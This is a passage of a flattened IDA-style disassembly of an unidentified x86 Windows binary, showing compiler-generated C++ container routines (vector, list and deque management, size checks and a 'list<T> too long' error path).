sub_405A66 test al, al jz short loc_4057B0 push dword ptr [esi+4] mov ecx, [ebx+4] loc_4057A5: ; CODE XREF: sub_4056BC+A9j push dword ptr [ebx+8] call sub_406ACD loc_4057AD: ; CODE XREF: sub_4056BC+5Ej mov [esi+8], eax loc_4057B0: ; CODE XREF: sub_4056BC+Bj ; sub_4056BC+21j ... pop edi mov eax, esi pop esi leave retn sub_4056BC endp ; =============== S U B R O U T I N E ======================================= sub_4057B6 proc near ; CODE XREF: sub_402979+5Bp ; sub_402979+66p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4057C0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4057C0: ; CODE XREF: sub_4057B6+5j mov eax, [eax+8] sub eax, ecx push 1Ch cdq pop ecx idiv ecx retn sub_4057B6 endp ; =============== S U B R O U T I N E ======================================= sub_4057CC proc near ; CODE XREF: .vty:004053C5p ; sub_4056BC+1Cp push ebx mov ebx, [esi+8] cmp [esi+4], ebx push edi jbe short loc_4057DB call sub_40DCFC loc_4057DB: ; CODE XREF: sub_4057CC+8j mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_4057E8 call sub_40DCFC loc_4057E8: ; CODE XREF: sub_4057CC+15j cmp edi, ebx jz short loc_405806 push dword ptr [esi+8] mov eax, edi mov ecx, ebx call sub_406A8F pop ecx push dword ptr [esi+8] mov edi, eax call sub_405A8F mov [esi+8], edi loc_405806: ; CODE XREF: sub_4057CC+1Ej pop edi pop ebx retn sub_4057CC endp ; =============== S U B R O U T I N E ======================================= sub_405809 proc near ; CODE XREF: sub_40260A+93p ; .vty:0041B081j push edi mov edi, [esi+4] test edi, edi jz short loc_40582D push ebx mov ebx, [esi+8] jmp short loc_40581F ; --------------------------------------------------------------------------- loc_405817: ; CODE XREF: sub_405809+18j call sub_405989 add edi, 74h loc_40581F: ; CODE XREF: sub_405809+Cj cmp edi, ebx jnz short loc_405817 push dword ptr [esi+4] call sub_40DD8A pop ecx pop ebx loc_40582D: ; CODE XREF: sub_405809+6j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop edi retn sub_405809 endp ; =============== S U B R O U T I N E ======================================= sub_40583B proc near ; CODE XREF: sub_4033DA+2AEp mov eax, offset loc_41B5FB call sub_41AE44 push ecx push esi push edi sub esp, 74h mov edi, esp xor eax, eax mov [ebp-10h], esp mov [ebp-10h], edi mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], eax mov [ebp-4], eax mov [edi+14h], eax mov [edi+18h], eax mov [edi+1Ch], eax lea esi, [edi+20h] call sub_4012E2 push offset a0_0_0_0 ; "0.0.0.0" lea ecx, [edi+3Ch] mov byte ptr [ebp-4], 2 call sub_401C44 lea esi, [edi+58h] call sub_4012E2 mov ecx, [ebp+0Ch] mov edx, [ebp+8] or dword ptr [ebp-4], 0FFFFFFFFh call sub_405ADB mov ecx, [ebp-0Ch] pop edi mov large fs:0, ecx pop esi leave retn 8 sub_40583B endp ; =============== S U B R O U T I N E ======================================= sub_4058AA proc near ; CODE XREF: sub_402979+A6p ; sub_402979+C6p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4058B4 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4058B4: ; CODE XREF: sub_4058AA+5j mov eax, [eax+8] sub eax, ecx push 74h cdq pop ecx idiv ecx retn sub_4058AA endp ; =============== S U B R O U T I N E ======================================= sub_4058C0 proc near ; CODE XREF: sub_402979+D7p ; sub_4033DA+2F8p ... arg_0 = dword ptr 4 mov eax, esi call sub_4058AA cmp [esp+arg_0], eax jb short loc_4058D2 call sub_40DCFC loc_4058D2: ; CODE XREF: sub_4058C0+Bj mov eax, [esp+arg_0] imul eax, 74h add eax, [esi+4] retn 4 sub_4058C0 endp ; =============== S U B R O U T I N E ======================================= sub_4058DF proc near ; CODE XREF: sub_4033DA+90p ; sub_4033DA+F4p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4058E9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4058E9: ; CODE XREF: sub_4058DF+5j mov eax, [eax+8] sub eax, ecx sar eax, 2 retn sub_4058DF endp ; =============== S U B R O U T I N E ======================================= sub_4058F2 proc near ; CODE XREF: sub_402AA0+E6p ; sub_403151+215p arg_0 = dword ptr 4 push ecx push ebx push esi mov esi, eax mov eax, [esi+10h] mov ecx, [esi+0Ch] add ecx, eax test cl, 3 push edi jnz short loc_405915 add eax, 4 shr eax, 2 cmp [esi+8], eax ja short loc_405915 call sub_405C5B loc_405915: ; CODE XREF: sub_4058F2+11j ; sub_4058F2+1Cj mov edi, [esi+0Ch] add edi, [esi+10h] mov ecx, [esi+8] mov eax, edi shr eax, 2 cmp ecx, eax ja short loc_405929 sub eax, ecx loc_405929: ; CODE XREF: sub_4058F2+33j mov ebx, eax mov eax, [esi+4] shl ebx, 2 cmp dword ptr [ebx+eax], 0 jnz short loc_405945 push 10h call sub_40DE68 pop ecx mov ecx, [esi+4] mov [ebx+ecx], eax loc_405945: ; CODE XREF: sub_4058F2+43j mov eax, [esi+4] mov eax, [eax+ebx] and edi, 3 lea edi, [eax+edi*4] test edi, edi jz short loc_40595D mov eax, [esp+10h+arg_0] mov eax, [eax] mov [edi], eax loc_40595D: ; CODE XREF: sub_4058F2+61j inc dword ptr [esi+10h] pop edi pop esi pop ebx pop ecx retn 4 sub_4058F2 endp ; =============== S U B R O U T I N E ======================================= sub_405967 proc near ; CODE XREF: sub_403151+F1p ; sub_407454+97p ... cmp dword ptr [esi], 0 jnz short loc_405971 call sub_40DCFC loc_405971: ; CODE XREF: sub_405967+3j mov eax, [esi+4] mov eax, [eax+4] mov ecx, [esi] mov [esi+4], eax cmp eax, [ecx+4] jnz short loc_405986 call sub_40DCFC loc_405986: ; CODE XREF: sub_405967+18j mov eax, esi retn sub_405967 endp ; =============== S U B R O U T I N E ======================================= sub_405989 proc near ; CODE XREF: sub_405809:loc_405817p ; sub_405ADB+8Fp ... push esi xor esi, esi push esi push 1 lea ecx, [edi+58h] call sub_4013C4 push esi push 1 lea ecx, [edi+3Ch] call sub_4013C4 push esi push 1 lea ecx, [edi+20h] call sub_4013C4 lea esi, [edi+10h] call sub_405F8B mov esi, edi call sub_405F66 pop esi retn sub_405989 endp ; =============== S U B R O U T I N E ======================================= sub_4059BE proc near ; CODE XREF: sub_402F64+CAp ; sub_406A6D+16p ... arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [eax+14h] cmp ecx, esi jnb short loc_4059CA mov esi, ecx loc_4059CA: ; CODE XREF: sub_4059BE+8j cmp esi, edi mov ecx, esi jb short loc_4059D2 mov ecx, edi loc_4059D2: ; CODE XREF: sub_4059BE+10j cmp dword ptr [eax+18h], 10h jb short loc_4059DD mov eax, [eax+4] jmp short loc_4059E0 ; --------------------------------------------------------------------------- loc_4059DD: ; CODE XREF: sub_4059BE+18j add eax, 4 loc_4059E0: ; CODE XREF: sub_4059BE+1Dj push ecx push [esp+8+arg_0] push eax call sub_40DED2 add esp, 0Ch test eax, eax jnz short loc_405A02 cmp esi, edi jnb short loc_4059FB or eax, 0FFFFFFFFh jmp short loc_405A02 ; --------------------------------------------------------------------------- loc_4059FB: ; CODE XREF: sub_4059BE+36j xor eax, eax cmp esi, edi setnz al loc_405A02: ; CODE XREF: sub_4059BE+32j ; sub_4059BE+3Bj pop esi retn 4 sub_4059BE endp ; =============== S U B R O U T I N E ======================================= sub_405A06 proc near ; CODE XREF: sub_403151+113p ; sub_4055EA+92p arg_4 = dword ptr 8 arg_C = dword ptr 10h arg_14 = dword ptr 18h push ecx push esi mov esi, edx cmp ecx, esi push edi mov edi, eax jz short loc_405A1B mov edx, edi call sub_405EBC sub [esi+8], edi loc_405A1B: ; CODE XREF: sub_405A06+9j mov eax, [esp+0Ch+arg_C] mov edx, [eax+4] mov ecx, [esp+0Ch+arg_14] mov [edx], ecx mov esi, [ecx+4] mov edx, [esp+0Ch+arg_4] mov [esi], edx mov esi, [edx+4] mov [esi], eax mov esi, [edx+4] mov edi, [ecx+4] mov [edx+4], edi mov edx, [eax+4] mov [ecx+4], edx pop edi mov [eax+4], esi pop esi pop ecx retn 18h sub_405A06 endp ; =============== S U B R O U T I N E ======================================= sub_405A4E proc near ; CODE XREF: sub_402509+4Fp ; sub_402509+64p ... push 40h call sub_40DE68 test eax, eax pop ecx jz short loc_405A5C mov [eax], eax loc_405A5C: ; CODE XREF: sub_405A4E+Aj lea ecx, [eax+4] test ecx, ecx jz short locret_405A65 mov [ecx], eax locret_405A65: ; CODE XREF: sub_405A4E+13j retn sub_405A4E endp ; =============== S U B R O U T I N E ======================================= sub_405A66 proc near ; CODE XREF: sub_4056BC+DAp ; sub_4075BC+30p push esi mov esi, eax cmp esi, 9249249h jbe short loc_405A76 jmp sub_40684D ; --------------------------------------------------------------------------- loc_405A76: ; CODE XREF: sub_405A66+9j mov ecx, esi call sub_405F1C imul esi, 1Ch add esi, eax mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], esi mov al, 1 pop esi retn sub_405A66 endp ; =============== S U B R O U T I N E ======================================= sub_405A8F proc near ; CODE XREF: sub_4056BC+4Cp ; sub_4056BC+B4p ... arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_405AA2 ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_405A8F+17j push 0 push 1 mov ecx, esi call sub_4013C4 add esi, 1Ch loc_405AA2: ; CODE XREF: sub_405A8F+3j cmp esi, [esp+4+arg_0] jnz short loc_405A94 pop esi retn 4 sub_405A8F endp ; =============== S U B R O U T I N E ======================================= sub_405AAC proc near ; CODE XREF: sub_40260A+75p ; sub_4033DA+57p ... mov eax, [esi+4] test eax, eax jz short loc_405AC4 push dword ptr [esi+8] call sub_405A8F push dword ptr [esi+4] call sub_40DD8A pop ecx loc_405AC4: ; CODE XREF: sub_405AAC+5j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn sub_405AAC endp ; --------------------------------------------------------------------------- loc_405AD1: ; CODE XREF: .vty:0041B228j ; .vty:0041B5E0j jmp sub_405F66 ; --------------------------------------------------------------------------- loc_405AD6: ; CODE XREF: .vty:0041B233j ; .vty:0041B5EBj jmp sub_405F8B ; =============== S U B R O U T I N E ======================================= sub_405ADB proc near ; CODE XREF: sub_40583B+5Ap mov eax, offset loc_41B5D3 call sub_41AE44 sub esp, 0Ch push ebx push esi push edi mov edi, ecx mov esi, edx and dword ptr [ebp-4], 0 mov eax, esi call sub_4058AA cmp edi, eax jbe short loc_405B22 mov ebx, [esi+8] cmp [esi+4], ebx jbe short loc_405B0B call sub_40DCFC loc_405B0B: ; CODE XREF: sub_405ADB+29j push ebx push esi mov eax, esi call sub_4058AA sub edi, eax push edi push esi lea ecx, [ebp+8] call sub_405FB0 jmp short loc_405B67 ; --------------------------------------------------------------------------- loc_405B22: ; CODE XREF: sub_405ADB+21j jnb short loc_405B67 mov eax, [esi+8] cmp [esi+4], eax mov [ebp-10h], eax jbe short loc_405B34 call sub_40DCFC loc_405B34: ; CODE XREF: sub_405ADB+52j mov ebx, [esi+4] cmp ebx, [esi+8] jbe short loc_405B41 call sub_40DCFC loc_405B41: ; CODE XREF: sub_405ADB+5Fj imul edi, 74h add edi, ebx cmp edi, [esi+8] mov [ebp-14h], ebx ja short loc_405B53 cmp edi, [esi+4] jnb short loc_405B58 loc_405B53: ; CODE XREF: sub_405ADB+71j call sub_40DCFC loc_405B58: ; CODE XREF: sub_405ADB+76j push dword ptr [ebp-10h] lea eax, [ebp-18h] push esi push edi push esi push eax call sub_405B80 loc_405B67: ; CODE XREF: sub_405ADB+45j ; sub_405ADB:loc_405B22j lea edi, [ebp+8] call sub_405989 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 74h sub_405ADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B80 proc near ; CODE XREF: .vty:004053A4p ; sub_405ADB+87p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push edi mov edi, [ebp+arg_4] test edi, edi jz short loc_405B92 cmp edi, [ebp+arg_C] jz short loc_405B97 loc_405B92: ; CODE XREF: sub_405B80+Bj call sub_40DCFC loc_405B97: ; CODE XREF: sub_405B80+10j mov eax, [ebp+arg_10] cmp [ebp+arg_8], eax jz short loc_405BCB push [ebp+arg_8] push dword ptr [esi+8] call sub_406AF1 mov ebx, [esi+8] pop ecx mov edi, eax pop ecx mov [ebp+arg_10], edi jmp short loc_405BBE ; --------------------------------------------------------------------------- loc_405BB6: ; CODE XREF: sub_405B80+40j call sub_405989 add edi, 74h loc_405BBE: ; CODE XREF: sub_405B80+34j cmp edi, ebx jnz short loc_405BB6 mov eax, [ebp+arg_10] mov edi, [ebp+arg_4] mov [esi+8], eax loc_405BCB: ; CODE XREF: sub_405B80+1Dj mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov [eax], edi pop edi mov [eax+4], ecx pop ebx pop ecx pop ebp retn 14h sub_405B80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BDD proc near ; CODE XREF: sub_4033DA+13Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, eax call sub_4058DF test eax, eax jnz short loc_405BF3 xor ebx, ebx jmp short loc_405C18 ; --------------------------------------------------------------------------- loc_405BF3: ; CODE XREF: sub_405BDD+10j mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_405C00 call sub_40DCFC loc_405C00: ; CODE XREF: sub_405BDD+1Cj cmp [ebp+arg_8], 0 jz short loc_405C0B cmp [ebp+arg_8], esi jz short loc_405C10 loc_405C0B: ; CODE XREF: sub_405BDD+27j call sub_40DCFC loc_405C10: ; CODE XREF: sub_405BDD+2Cj mov ebx, [ebp+arg_C] sub ebx, edi sar ebx, 2 loc_405C18: ; CODE XREF: sub_405BDD+14j push [ebp+arg_C] mov eax, [ebp+arg_4] push [ebp+arg_8] mov ecx, esi call sub_406253 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_405C35 call sub_40DCFC loc_405C35: ; CODE XREF: sub_405BDD+51j mov [ebp+arg_8], esi push ebx lea esi, [ebp+arg_8] mov [ebp+arg_C], edi call sub_4068D9 mov edx, [eax] mov ecx, [ebp+arg_0] mov eax, [eax+4] pop edi pop esi mov [ecx+4], eax mov [ecx], edx mov eax, ecx pop ebx pop ecx pop ebp retn 10h sub_405BDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C5B proc near ; CODE XREF: sub_4058F2+1Ep var_54 = dword ptr -54h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004063C2 SIZE 00000040 BYTES push ebp mov ebp, esp sub esp, 10h mov eax, [esi+8] push ebx push edi mov edx, 0FFFFFFFh xor edi, edi mov ecx, edx inc edi sub ecx, eax cmp ecx, edi mov [ebp+var_4], edi jnb short loc_405C7E jmp loc_4063C2 ; --------------------------------------------------------------------------- loc_405C7E: ; CODE XREF: sub_405C5B+1Cj mov ecx, eax shr ecx, 1 cmp ecx, 8 jnb short loc_405C8A push 8 pop ecx loc_405C8A: ; CODE XREF: sub_405C5B+2Aj cmp ecx, edi jbe short loc_405C97 sub edx, ecx cmp eax, edx ja short loc_405C97 mov [ebp+var_4], ecx loc_405C97: ; CODE XREF: sub_405C5B+31j ; sub_405C5B+37j mov ebx, [esi+0Ch] mov ecx, [ebp+var_4] add ecx, eax shr ebx, 2 call sub_40688D mov edx, [esi+4] mov edi, ebx shl edi, 2 mov [ebp+var_8], eax lea ecx, [edi+eax] mov eax, [esi+8] lea eax, [edx+eax*4] add edx, edi push edx call sub_406B39 mov edx, [esi+4] pop ecx mov ecx, eax mov eax, [ebp+var_4] cmp ebx, eax push edx ja short loc_405CF7 sub eax, ebx mov [ebp+var_C], eax lea eax, [edx+edi] call sub_406B39 pop ecx mov ecx, [ebp+var_C] test ecx, ecx mov edi, eax jbe short loc_405CEC xor eax, eax rep stosd loc_405CEC: ; CODE XREF: sub_405C5B+8Bj test ebx, ebx jbe short loc_405D24 mov edi, [ebp+var_8] mov ecx, ebx jmp short loc_405D20 ; --------------------------------------------------------------------------- loc_405CF7: ; CODE XREF: sub_405C5B+74j mov ebx, eax shl ebx, 2 lea eax, [ebx+edx] call sub_406B39 pop ecx mov ecx, [esi+4] add ebx, ecx lea eax, [ecx+edi] mov ecx, [ebp+var_8] push ebx call sub_406B39 pop ecx mov ecx, [ebp+var_4] test ecx, ecx mov edi, eax jbe short loc_405D24 loc_405D20: ; CODE XREF: sub_405C5B+9Aj xor eax, eax rep stosd loc_405D24: ; CODE XREF: sub_405C5B+93j ; sub_405C5B+C3j mov eax, [esi+4] test eax, eax jz short loc_405D32 push eax call sub_40DD8A pop ecx loc_405D32: ; CODE XREF: sub_405C5B+CEj mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] add [esi+8], eax pop edi pop ebx leave retn sub_405C5B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405D42 proc near ; CODE XREF: sub_40260A+3Cp ; .vty:loc_405330p push ebx xor ebx, ebx jmp short loc_405D59 ; --------------------------------------------------------------------------- loc_405D47: ; CODE XREF: sub_405D42+1Aj mov eax, [esi+10h] cmp eax, ebx jz short loc_405D59 dec eax cmp eax, ebx mov [esi+10h], eax jnz short loc_405D59 mov [esi+0Ch], ebx loc_405D59: ; CODE XREF: sub_405D42+3j ; sub_405D42+Aj ... cmp [esi+10h], ebx jnz short loc_405D47 push edi mov edi, [esi+8] jmp short loc_405D74 ; --------------------------------------------------------------------------- loc_405D64: ; CODE XREF: sub_405D42+37j dec edi lea eax, [eax+edi*4] cmp [eax], ebx jz short loc_405D74 push dword ptr [eax] call sub_40DD8A pop ecx loc_405D74: ; CODE XREF: sub_405D42+20j ; sub_405D42+28j cmp edi, ebx mov eax, [esi+4] ja short loc_405D64 cmp eax, ebx pop edi jz short loc_405D87 push eax call sub_40DD8A pop ecx loc_405D87: ; CODE XREF: sub_405D42+3Cj mov [esi+8], ebx mov [esi+4], ebx pop ebx retn sub_405D42 endp ; =============== S U B R O U T I N E ======================================= sub_405D8F proc near ; CODE XREF: sub_401B38+BBp ; sub_401CA0+15p ... cmp dword ptr [esi], 0 jnz short loc_405D99 call sub_40DCFC loc_405D99: ; CODE XREF: sub_405D8F+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_405DA8 call sub_40DCFC loc_405DA8: ; CODE XREF: sub_405D8F+12j mov eax, [esi+4] mov eax, [eax] mov [esi+4], eax mov eax, esi retn sub_405D8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DB3 proc near ; CODE XREF: sub_4027E7+DFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi mov esi, eax push edi mov edi, [esi+4] xor ebx, ebx cmp edi, ebx jz short loc_405DF1 mov eax, [esi+8] mov ecx, eax sub ecx, edi sar ecx, 2 jz short loc_405DF1 cmp edi, eax jbe short loc_405DDA call sub_40DCFC loc_405DDA: ; CODE XREF: sub_405DB3+20j cmp [ebp+arg_8], ebx jz short loc_405DE4 cmp [ebp+arg_8], esi jz short loc_405DE9 loc_405DE4: ; CODE XREF: sub_405DB3+2Aj call sub_40DCFC loc_405DE9: ; CODE XREF: sub_405DB3+2Fj mov ebx, [ebp+arg_C] sub ebx, edi sar ebx, 2 loc_405DF1: ; CODE XREF: sub_405DB3+10j ; sub_405DB3+1Cj push [ebp+arg_C] mov eax, [ebp+arg_4] push [ebp+arg_8] mov ecx, esi call sub_406422 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_405E0E call sub_40DCFC loc_405E0E: ; CODE XREF: sub_405DB3+54j mov [ebp+arg_C], edi lea edi, [edi+ebx*4] cmp edi, [esi+8] ja short loc_405E1E cmp edi, [esi+4] jnb short loc_405E23 loc_405E1E: ; CODE XREF: sub_405DB3+64j call sub_40DCFC loc_405E23: ; CODE XREF: sub_405DB3+69j mov eax, [ebp+arg_0] mov [eax+4], edi pop edi mov [eax], esi pop esi pop ebx leave retn 10h sub_405DB3 endp ; =============== S U B R O U T I N E ======================================= sub_405E32 proc near ; CODE XREF: sub_406253+93p ; sub_406253+104p ... arg_0 = dword ptr 4 test edx, edx mov ecx, edx mov eax, esi jbe short loc_405E4C push edi loc_405E3B: ; CODE XREF: sub_405E32+17j mov edi, [esp+4+arg_0] mov edi, [edi] mov [eax], edi dec ecx add eax, 4 test ecx, ecx ja short loc_405E3B pop edi loc_405E4C: ; CODE XREF: sub_405E32+6j lea eax, [esi+edx*4] retn 4 sub_405E32 endp ; =============== S U B R O U T I N E ======================================= sub_405E52 proc near ; CODE XREF: sub_4053F0+78p ; sub_405472:loc_405487p ... and dword ptr [edi], 0 test esi, esi jz short loc_405E82 test ebx, ebx jz short loc_405E82 mov edx, [esi+18h] cmp edx, 10h lea eax, [esi+4] jb short loc_405E6C mov ecx, [eax] jmp short loc_405E6E ; --------------------------------------------------------------------------- loc_405E6C: ; CODE XREF: sub_405E52+14j mov ecx, eax loc_405E6E: ; CODE XREF: sub_405E52+18j cmp ecx, ebx ja short loc_405E82 cmp edx, 10h jb short loc_405E79 mov eax, [eax] loc_405E79: ; CODE XREF: sub_405E52+23j mov ecx, [esi+14h] add ecx, eax cmp ebx, ecx jbe short loc_405E87 loc_405E82: ; CODE XREF: sub_405E52+5j ; sub_405E52+9j ... call sub_40DCFC loc_405E87: ; CODE XREF: sub_405E52+2Ej mov [edi], esi mov [edi+4], ebx mov eax, edi retn sub_405E52 endp ; =============== S U B R O U T I N E ======================================= sub_405E8F proc near ; CODE XREF: sub_4053F0+40p ; sub_4053F0+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov esi, [esp+4+arg_4] test esi, esi jnz short loc_405E9C xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_405E9C: ; CODE XREF: sub_405E8F+7j mov eax, [esp+4+arg_0] cmp eax, 0FFFFFFFEh jz short loc_405EB4 test eax, eax jz short loc_405EAF cmp eax, [esp+4+arg_8] jz short loc_405EB4 loc_405EAF: ; CODE XREF: sub_405E8F+18j call sub_40DCFC loc_405EB4: ; CODE XREF: sub_405E8F+14j ; sub_405E8F+1Ej sub esi, [esp+4+arg_C] mov eax, esi pop esi retn sub_405E8F endp ; =============== S U B R O U T I N E ======================================= sub_405EBC proc near ; CODE XREF: sub_405A06+Dp ; sub_406CEA+1Dp mov eax, offset loc_41AFA6 call sub_41AE44 mov eax, [ecx+8] sub esp, 48h push esi mov esi, 4924924h sub esi, eax cmp esi, edx jnb short loc_405F0A push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-2Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41C2A8 call sub_4107BC loc_405F0A: ; CODE XREF: sub_405EBC+1Aj add eax, edx mov [ecx+8], eax mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi leave retn sub_405EBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F1C proc near ; CODE XREF: sub_405A66+12p ; sub_40A246+8Cp var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_405F34 xor ecx, ecx loc_405F28: ; CODE XREF: sub_405F1C+22j imul ecx, 1Ch push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_405F34: ; CODE XREF: sub_405F1C+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 1Ch jnb short loc_405F28 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_405F1C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405F66 proc near ; CODE XREF: sub_405989+2Ep ; .vty:loc_405AD1j ... mov eax, [esi+4] test eax, eax jz short loc_405F7E push dword ptr [esi+8] call sub_406737 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_405F7E: ; CODE XREF: sub_405F66+5j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn sub_405F66 endp ; =============== S U B R O U T I N E ======================================= sub_405F8B proc near ; CODE XREF: sub_405989+27p ; .vty:loc_405AD6j ... mov eax, [esi+4] test eax, eax jz short loc_405FA3 push dword ptr [esi+8] call sub_4067F1 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_405FA3: ; CODE XREF: sub_405F8B+5j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn sub_405F8B endp ; =============== S U B R O U T I N E ======================================= sub_405FB0 proc near ; CODE XREF: sub_405ADB+40p mov eax, offset loc_41B5C1 call sub_41AE44 sub esp, 88h push ebx push esi mov esi, [ebp+8] push edi lea eax, [ebp-90h] mov [ebp-10h], esp push eax call sub_4065C8 xor ebx, ebx mov [ebp-4], ebx mov ecx, [esi+4] cmp ecx, ebx jz short loc_405FEE mov eax, [esi+0Ch] sub eax, ecx push 74h cdq pop ecx idiv ecx mov ebx, eax loc_405FEE: ; CODE XREF: sub_405FB0+2Fj mov edi, [ebp+0Ch] test edi, edi jz loc_4061ED mov eax, esi call sub_4058AA mov ecx, 234F72Ch sub ecx, eax cmp ecx, edi jnb short loc_406010 call sub_40684D loc_406010: ; CODE XREF: sub_405FB0+59j mov eax, esi call sub_4058AA add eax, edi cmp ebx, eax jnb loc_40610D mov eax, ebx shr eax, 1 mov ecx, 234F72Ch sub ecx, eax cmp ecx, ebx jnb short loc_406034 xor ebx, ebx jmp short loc_406036 ; --------------------------------------------------------------------------- loc_406034: ; CODE XREF: sub_405FB0+7Ej add ebx, eax loc_406036: ; CODE XREF: sub_405FB0+82j mov eax, esi call sub_4058AA add eax, edi cmp ebx, eax jnb short loc_40604E mov eax, esi call sub_4058AA mov ebx, eax add ebx, edi loc_40604E: ; CODE XREF: sub_405FB0+91j mov ecx, ebx call sub_406209 push eax push dword ptr [ebp+14h] mov byte ptr [ebp-4], 1 mov ecx, [esi+4] mov [ebp-14h], eax mov [ebp+0Ch], eax call sub_406B60 lea ecx, [ebp-90h] push ecx push edi push eax mov [ebp+0Ch], eax call sub_40681C mov ecx, [ebp+14h] push eax push dword ptr [esi+8] mov [ebp+0Ch], eax call sub_406B60 mov eax, esi call sub_4058AA add edi, eax mov eax, [esi+4] test eax, eax mov [ebp+0Ch], edi jz short loc_4060CB mov ecx, [esi+8] cmp eax, ecx mov [ebp+14h], ecx mov [ebp+8], eax jz short loc_4060C2 loc_4060AB: ; CODE XREF: sub_405FB0+10Dj mov edi, [ebp+8] call sub_405989 add dword ptr [ebp+8], 74h mov eax, [ebp+8] cmp eax, [ebp+14h] jnz short loc_4060AB mov edi, [ebp+0Ch] loc_4060C2: ; CODE XREF: sub_405FB0+F9j push dword ptr [esi+4] call sub_40DD8A pop ecx loc_4060CB: ; CODE XREF: sub_405FB0+ECj mov eax, [ebp-14h] imul ebx, 74h imul edi, 74h add ebx, eax add edi, eax mov [esi+0Ch], ebx mov [esi+8], edi mov [esi+4], eax jmp loc_4061ED ; --------------------------------------------------------------------------- loc_4060E6: ; DATA XREF: .vty:0042131Co mov esi, [ebp-14h] cmp esi, [ebp+0Ch] mov edi, esi jz short loc_4060FD loc_4060F0: ; CODE XREF: sub_405FB0+14Bj call sub_405989 add edi, 74h cmp edi, [ebp+0Ch] jnz short loc_4060F0 loc_4060FD: ; CODE XREF: sub_405FB0+13Ej push esi call sub_40DD8A pop ecx loc_406104: ; CODE XREF: sub_405FB0+1F7j push 0 push 0 call sub_4107BC loc_40610D: ; CODE XREF: sub_405FB0+6Bj mov eax, [esi+8] mov ebx, [ebp+14h] mov [ebp-14h], eax sub eax, ebx push 74h cdq pop ecx idiv ecx cmp eax, edi jnb loc_4061AC mov eax, edi imul eax, 74h mov [ebp-18h], eax add eax, ebx push eax push dword ptr [ebp-14h] mov ecx, ebx call sub_406B60 mov byte ptr [ebp-4], 3 mov eax, [esi+8] lea ecx, [ebp-90h] push ecx sub eax, ebx push 74h pop ecx cdq idiv ecx sub edi, eax push edi push dword ptr [esi+8] call sub_40681C and dword ptr [ebp-4], 0 mov eax, [ebp-18h] add [esi+8], eax mov esi, [esi+8] sub esi, eax mov edi, esi jmp short loc_40617F ; --------------------------------------------------------------------------- loc_40616F: ; CODE XREF: sub_405FB0+1D1j lea eax, [ebp-90h] mov esi, ebx call sub_406C9C add ebx, 74h loc_40617F: ; CODE XREF: sub_405FB0+1BDj cmp ebx, edi jnz short loc_40616F jmp short loc_4061ED ; --------------------------------------------------------------------------- loc_406185: ; DATA XREF: .vty:0042132Co mov eax, [ebp+0Ch] mov ecx, [ebp+8] imul eax, 74h mov esi, [ecx+8] mov ecx, [ebp+14h] add esi, eax lea edi, [eax+ecx] jmp short loc_4061A3 ; --------------------------------------------------------------------------- loc_40619B: ; CODE XREF: sub_405FB0+1F5j call sub_405989 add edi, 74h loc_4061A3: ; CODE 